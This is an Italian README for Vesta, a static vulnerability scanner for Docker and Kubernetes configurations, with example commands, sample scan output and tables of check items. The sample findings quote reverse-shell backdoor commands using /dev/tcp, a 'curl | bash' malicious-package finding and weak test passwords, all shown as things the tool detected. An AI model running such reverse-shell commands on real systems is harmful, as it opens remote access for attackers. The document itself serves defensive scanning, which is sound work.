
Un toolkit di analisi statica delle vulnerabilità e rilevamento della configurazione di cluster Docker e Kubernetes basato sulla penetrazione reale del cloud computing.
Un toolkit per l'analisi statica delle vulnerabilità e il rilevamento della configurazione di cluster Docker e Kubernetes, basato su test di penetrazione reali nel cloud computing.
Vesta è un toolkit di analisi statica delle vulnerabilità e rilevamento della configurazione di cluster Docker e Kubernetes. Ispeziona le configurazioni di Kubernetes e Docker, i pod del cluster e i container con pratiche di sicurezza.
Vesta è un toolkit flessibile che può essere eseguito su macchine fisiche con diversi tipi di sistemi (Windows, Linux, MacOS).
Scansione
Docker
Kubernetes
Vesta è compilato con Go 1.18.```bash make build
## Quick Start
Esempio di scansione di immagine o container, usa `-f` per inserire tramite un file tar, avvia vesta:```bash
# Container
vesta scan image cve-2019-14234_web:latest
vesta scan image -f example.tar
# Image
vesta scan container <CONTAINER ID>
vesta scan container -f example.tar
# Filesystem
vesta scan fs <path_of_filesystem>
Risultato:```bash 2022/11/29 22:50:00 Searching for image 2022/11/29 22:50:19 Begin upgrading vulnerability database 2022/11/29 22:50:19 Vulnerability Database is already initialized 2022/11/29 22:50:19 Begin to analyze the layer 2022/11/29 22:50:35 Begin to scan the layer
Detected 216 vulnerabilities
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. If | | | | | | | | django.utils.text.Truncator's | | | | | | | | chars() and words() methods | | | | | | | | were passed the html=True | | | | | | | | argument, t ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. | | | | | | | | Due to the behaviour of | | | | | | | | the underlying HTMLParser, | | | | | | | | django.utils.html.strip_tags | | | | | | | | would be extremely ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in | | | | | | | | Django 1.11.x before 1.11.23, | | | | | | | | 2.1.x before 2.1.11, and 2.2.x | | | | | | | | before 2.2.4. Due to an error | | | | | | | | in shallow key transformation, | | | | | | | | key and index lookups for | | | | | | | | django.contrib.postgres.f ... | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in | | | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', | | | | | | | | malicious command "curl | bash" are | | | | | | | | detected. | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
Docker Histories: +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 1 | Image History | - / - | - | 0.0 | high | Confusion value found | | | | | | | | in ENV: 'command' with | | | | | | | | the plain text 'bash -i | | | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 | | | | | | | | '. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 2 | | - / - | - | 0.0 | medium | Docker history has found the | | | | | | | | senstive environment with | | | | | | | | key 'SECRET_KEY' and value: | | | | | | | | 123456. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+
<details>
<summary>Risultato</summary>

</details>
Esempio di scansione della configurazione di Docker, avvia vesta:```bash
vesta analyze docker
Oppure esegui con dokcer```bash make run.docker
Uscita:```bash
2022/11/29 23:06:32 Start analysing
2022/11/29 23:06:32 Getting engine version
2022/11/29 23:06:32 Getting docker server version
2022/11/29 23:06:32 Getting kernel version
Detected 3 vulnerabilities
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: None | | | | the CVE-2022-0492 with |
| | | | | | CAP_SYS_ADMIN and v1 |
| | | | | | architecture of cgroups |
| | | | | | vulnerablility, has a |
| | | | | | potential container escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 3 | Name: Image Tag | Privileged | true | critical | There has a potential container|
| | ID: None | | | | escape in privileged module. |
| | | | | | |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found |
| | ID: None | | vesta_history_test:latest | | | in command: ' echo |
| | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > |
| | | | | | config.ini # buildkit'. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
Esempio di scansione della configurazione Kubernetes, avvia vesta:```bash vesta analyze k8s
Uscita:```bash
2022/11/29 23:15:59 Start analysing
2022/11/29 23:15:59 Getting docker server version
2022/11/29 23:15:59 Getting kernel version
Detected 4 vulnerabilities
Pods:
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential |
| | default | Status: Running | | Privileged | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has |
| | | env | | | | found weak password: |
| | | | | | | 'Password123456'. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds |
| | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: |
| | | | | | | 0.91 out of 1.0), which is a |
| | | | | | | suspect command backdoor. |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential |
| | default | Status: Running | | capabilities | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account |
| | | automountServiceAccountToken | | | | and key permission are |
| | | | | | | given, which will cause a |
| | | | | | | potential container escape. |
| | | | | | | Reference clsuterRolebind: |
| | | | | | | vuln-clusterrolebinding | |
| | | | | | | roleBinding: vuln-rolebinding |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. |
| | | Resource | | | | |
| | | | | | | |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
Configures:
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | | | | | the CVE-2022-0185 with |
| | | | | | CAP_SYS_ADMIN vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key |
| | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the |
| | | rolename: vuln-clusterrole | | pods, services | | default service account, which |
| | | kind: ClusterRole | subject | | | will cause a potential data |
| | | kind: Group | subject name: | | | leakage. |
| | | system:serviceaccounts:vuln | | | | |
| | | namespace: vuln | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key |
| | | | rolename: vuln-role | role | create, update | resources: | | resources given to the |
| | | kind: Role | subject kind: | pods, services | | default service account, which |
| | | ServiceAccount | subject name: | | | will cause a potential data |
| | | default | namespace: default | | | leakage. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given |
| | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', |
| | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. |
| | | subject kind: User | subject | | | |
| | | name: testUser | namespace: | | | |
| | | all | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+

$./vesta -h Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit Tutorial is available at https://github.com/kvesta/vesta
Usage: vesta [command]
Available Commands: analyze Kubernetes analyze completion Generate the autocompletion script for the specified shell help Help about any command scan Container scan update Update vulnerability database version Print version information and quit
Flags: -h, --help help for vesta
## Evento
### Lista armi KCon 2023
- [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2)
| Supportato | Voce di controllo | Descrizione | Gravità | Riferimento |
|---|
| ✔ | PrivilegeAllowed | Il modulo con privilegi è permesso. | critico | Rif |
| ✔ | Capabilities | Sono aperte capacità pericolose. | critico | Rif |
| ✔ | Volume Mount | Montaggio di una posizione pericolosa. | critico | Rif |
| ✔ | Docker Unauthorized | La porta 2375 è aperta e non autorizzata. | critico | Rif |
| ✔ | Kernel version | La versione del kernel è inferiore alla versione di escape. | critico | Rif |
| ✔ | Network Module | Il modulo Net è host e la versione di containerd è inferiore a 1.41. | critico/medio | |
| ✔ | Pid Module | Il modulo Pid è host. | alto | |
| ✔ | Docker Server version | La versione del server è inclusa nella versione vulnerabile. | critico/alto/medio/basso | |
| ✔ | Docker env password check | Verifica password debole nel database. | alto/medio | |
| ✔ | Docker History | I layer Docker e l'ambiente contengono comandi pericolosi. | alto/medio | |
| ✔ | Docker Backdoor | Il comando env di Docker contiene comandi malevoli. | critico/alto | |
| ✔ | Docker Swarm | Docker swarm ha configurazioni pericolose o segreti o container non sicuri. | medio/basso | |
| ✔ | Docker supply chain | La supply chain di Docker ha configurazioni vulnerabili. | critico/alto/medio | Rif |
| Supportato | Voce di controllo | Descrizione | Gravità | Riferimento |
|---|
| ✔ | PrivilegeAllowed | Il modulo con privilegi è permesso. | critico | Rif |
| ✔ | Capabilities | Sono aperte capacità pericolose. | critico | Rif |
| ✔ | PV e PVC | PV è montato in una posizione pericolosa ed è attivo. | critico/medio | Rif |
| ✔ | RBAC | RBAC ha alcune configurazioni non sicure in clusterrolebinding o rolebinding. | alto/medio/basso/avviso | |
| ✔ | Kubernetes-dashborad | Controllo di -enable-skip-login e dei permessi dell'account. | critico/alto/basso | Rif |
| ✔ | Kernel version | La versione del kernel è inferiore alla versione di escape. | critico | Rif |
| ✔ | Docker Server version (versione k8s inferiore a v1.24) | La versione del server è inclusa nella versione vulnerabile. | critico/alto/medio/basso | |
| ✔ | Certificazione Kubernetes in scadenza | La certificazione scade dopo 30 giorni. | medio | |
| ✔ | ConfigMap e Secret check | Controllo password debole in ConfigMap o Secret. | alto/medio/basso | Rif |
| ✔ | PodSecurityPolicy check (versione k8s inferiore a v1.25) | PodSecurityPolicy tollera configurazioni pericolose dei pod. | alto/medio/basso | Rif |
| ✔ | Auto Mount ServiceAccount Token | Montaggio del token di servizio predefinito. | critico/alto/medio/basso | Rif |
| ✔ | NoResourceLimits | Nessun limite di risorse impostato. | basso | Rif |
| ✔ | Job e Cronjob | Seccomp o seLinux non sono impostati in Job o CronJob. | basso | Rif |
| ✔ | Envoy admin | L'admin di Envoy è aperto e in ascolto su 0.0.0.0. | alto/medio | Rif |
| ✔ | Versione Cilium | Cilium ha una versione vulnerabile. | critico/alto/medio/basso | Rif |
| ✔ | Configurazioni Istio | Istio ha versione e configurazioni vulnerabili. | critico/alto/medio/basso | Rif |
| ✔ | Kubelet 10250/10255 e Kubectl proxy | Le porte 10255/10250 sono aperte e non autorizzate oppure Kubectl proxy è aperto. | alto/medio/basso | |
| ✔ | Configurazione Etcd | Controllo della configurazione sicura di Etcd. | alto/medio | |
| ✔ | Configurazioni Sidecar | Il sidecar ha alcune configurazioni pericolose. | critico/alto/medio/basso | |
| ✔ | Annotation del pod | L'annotation del pod ha alcune configurazioni non sicure. | alto/medio/basso/avviso | Rif |
| ✔ | DaemonSet | DaemonSet ha configurazioni non sicure. | critico/alto/medio/basso | |
| ✔ | Backdoor | Rilevamento di backdoor. | critico/alto | Rif |
| ✔ | Movimento laterale admin | Il pod specifica un nodo master. | medio/basso |